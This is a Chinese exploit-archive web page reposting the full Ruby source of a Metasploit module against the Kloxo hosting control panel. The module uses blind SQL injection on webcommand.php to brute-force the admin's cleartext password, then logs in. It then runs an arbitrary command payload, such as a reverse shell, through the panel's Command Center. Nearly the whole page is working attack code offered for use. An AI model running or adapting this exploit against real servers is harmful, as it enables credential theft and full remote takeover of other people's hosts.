首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Kloxo SQL Injection / Remote Code Execution
来源:metasploit.com 作者:temp66 发布时间:2014-02-11  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  Rank = ManualRanking
  PASSWORD_PREFIX = '__lxen:'
  BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='

  attr_accessor :password
  attr_accessor :session
  attr_accessor :server

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kloxo SQL Injection and Remote Code Execution',
      'Description'    => %q{
        This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
        exploited in the wild on January 2014. The SQL injection issue can be abused in order to
        retrieve the Kloxo admin cleartext password from the database. With admin access to the
        web control panel, remote PHP code execution can be achieved by abusing the Command Center
        function. The module tries to find the first server in the tree view, unless the server
        information is provided, in which case it executes the payload there.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Discovery, exploit in the wild
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
          ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'],           # kloxo exploited in the wild
          ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646']    # patch discussion
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 262144, # 256k
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
            }
        },
      'Targets'        =>
        [
          ['Kloxo / CentOS', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 28 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(7778),
        OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
      ], self.class)

    register_advanced_options(
      [
        OptString.new('SERVER_CLASS', [false, 'The server class']),
        OptString.new('SERVER_NAME', [false, 'The server name'])
      ], self.class)
  end

  def check
    return Exploit::CheckCode::Safe unless webcommand_exists?
    return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
    return Exploit::CheckCode::Safe unless pefix_found?

    Exploit::CheckCode::Vulnerable
  end

  def exploit
    fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable

    print_status("#{peer} - Recovering the admin password with SQLi...")
    loot = base64_password
    fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
    @password = Rex::Text.decode_base64(loot)
    print_good("#{peer} - Password recovered: #{@password}")

    print_status("#{peer} - Logging into the Control Panel...")
    @session = send_login
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?

    report_auth_info(
      :host => rhost,
      :port => rport,
      :user => 'admin',
      :pass => @password,
      :type => 'password',
      :sname => (ssl ? 'https' : 'http')
    )

    print_status("#{peer} - Retrieving the server name...")
    @server = server_info
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?

    print_status("#{peer} - Exploiting...")
    send_command(payload.encoded)
  end

  def send_login
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
      'vars_post' =>
        {
          'frm_clientname' => 'admin',
          'frm_password'   => @password,
          'login'          => 'Login'
        }
    )

    if res && res.code == 302 && res.headers.include?('Set-Cookie')
      return res.get_cookies
    end

    nil
  end

  def server_info

    unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
      return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.to_s, 'display.php'),
      'cookie' => @session,
      'vars_get' =>
        {
          'frm_action' => 'show'
        }
    })

    if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
      return parse_display_info(res.body.to_s)
    end

    nil
  end

  def parse_display_info(html)
    server_info = {}
    pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)

    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
      return nil
    else
      server_info[:class] = $1
    end

    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
      return nil
    else
      server_info[:name] = $1
    end

    server_info
  end

  def send_command(command)
    data = Rex::MIME::Message.new
    data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
    data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
    data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
    data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
    data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
    data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
    data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')

    post_data = data.to_s
    post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path.to_s, 'display.php'),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => @session,
      'data'   => post_data
    }, 1)
  end

  def webcommand_exists?
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))

    if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
      return true
    end

    false
  end

  def pefix_found?
    i = 1
    PASSWORD_PREFIX.each_char do |c|
      return false unless exploit_sqli(i, c)
      i = i + 1
    end

    true
  end

  def bad_char(pos)
    Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
  end

  def ascii(char)
    char.unpack('C')[0]
  end

  def base64_password
    i = PASSWORD_PREFIX.length + 1
    loot = ''

    until exploit_sqli(i, "\x00")
      vprint_status("#{peer} - Bruteforcing position #{i}")
      c = brute_force_char(i)
      if c.nil?
        return nil
      else
        loot << c
      end
      vprint_status("#{peer} - Found: #{loot}")
      i = i + 1
    end

    loot
  end

  def brute_force_char(pos)
    BASE64_RANGE.each_char do |c|
      return c if exploit_sqli(pos, c)
    end

    nil
  end

  def exploit_sqli(pos, char)
    # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
    sqli = "al5i' "
    sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
    sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"

    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
      'vars_get' =>
        {
          'login-class'    => 'client',
          'login-name'     => sqli,
          'login-password' => '123456'
        }
    )

    if res && res.code == 200 && res.body.blank?
      return true
    elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
      return false
    end

    vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
    false
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Bandizip 3.09 Crash Proof Of C
·Windows TrackPopupMenuEx Win32
·Windows Command Shell Upgrade
·Inteno DG301 Remote Command Ex
·KingScada kxClientDownload.ocx
·Android Browser and WebView ad
·Apache Commons FileUpload and
·Pandora FMS Remote Code Execut
·Easy CD-DA Recorder PLS Buffer
·Asseco SEE iBank FX Client 2.0
·ImageMagick 6.8.8-4 - Local Bu
·OneHTTPD 0.8 - Crash PoC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved